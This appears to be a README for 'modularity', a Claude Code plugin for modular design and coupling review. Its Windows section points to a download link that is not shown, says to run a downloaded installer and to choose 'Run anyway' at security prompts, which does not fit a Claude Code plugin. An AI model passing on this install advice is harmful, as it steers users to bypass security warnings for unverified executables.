modularity helps you design better software systems from plain requirements. It also reviews existing code for structure problems and gives clear suggestions for improvement. It uses the Balanced Coupling model to help you spot where parts of a system depend on each other too much.
If you work with Claude Code, this plugin can help you:
- break large ideas into smaller parts
- check if code is too tightly linked
- find weak spots in a design
- get practical next steps for better structure
Follow these steps on Windows:
- Open the download link above.
- Find the latest Windows file on the project page.
- Download the file to your computer.
- If the file comes in a zip folder, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app or installer file to run it.
- If Windows asks for permission, choose Yes.
- If you see a security prompt, choose Run anyway if you trust the source.
When you start modularity for the first time, it may take a moment to load. After that, you can use it to review a project or work from a set of requirements.
Give the tool a functional need, such as:
- manage user accounts
- process orders
- track inventory
- handle notifications
It then helps you think in modules and shows a cleaner way to divide the work.
You can point it at a project and ask it to look for:
- parts that know too much about each other
- classes or files with too many jobs
- areas that are hard to change
- module boundaries that do not fit the problem
The app gives practical recommendations such as:
- split one large module into smaller pieces
- move logic to a better place
- group related code together
- reduce direct links between parts
- raise cohesion inside each module
- Start the app on Windows.
- Open a new review or design task.
- Add your requirements or choose a codebase.
- Read the module suggestions.
- Review the coupling and cohesion feedback.
- Apply the changes one step at a time.
Use short, clear input. For example:
- a simple feature list
- a user story
- a folder from an existing project
- a design problem you want to improve
The clearer your input, the easier it is for the plugin to give useful guidance.
Balanced Coupling is a way to judge how parts of a system relate to each other. Good systems keep related code close together, but avoid strong links that spread through the whole app.
In plain terms, modularity helps you aim for:
- small parts with one clear job
- fewer hidden links
- easier changes
- code that is simpler to test
- a structure that is easier to read later
This makes it easier to change one area without breaking another.
For a smooth run on Windows, use:
- Windows 10 or Windows 11
- 4 GB of RAM or more
- enough free disk space for the app and your projects
- a stable internet connection for first download and updates
- access to Claude Code if you want to use the plugin features
If you work with larger codebases, more RAM can help the app respond better.
Use modularity before you start coding. It can help you decide where one feature should end and another should begin.
Use it when a project has grown hard to change. It can point out places where the structure has drifted.
Use it during design review or code review to keep the team focused on structure, not just on style or formatting.
- Start with one feature or one folder
- Keep requirements short and clear
- Fix the biggest structure issues first
- Review one module at a time
- Use the recommendations as guidance, not rules
- Name: modularity
- Type: Claude Code plugin
- Focus: modular system design and codebase review
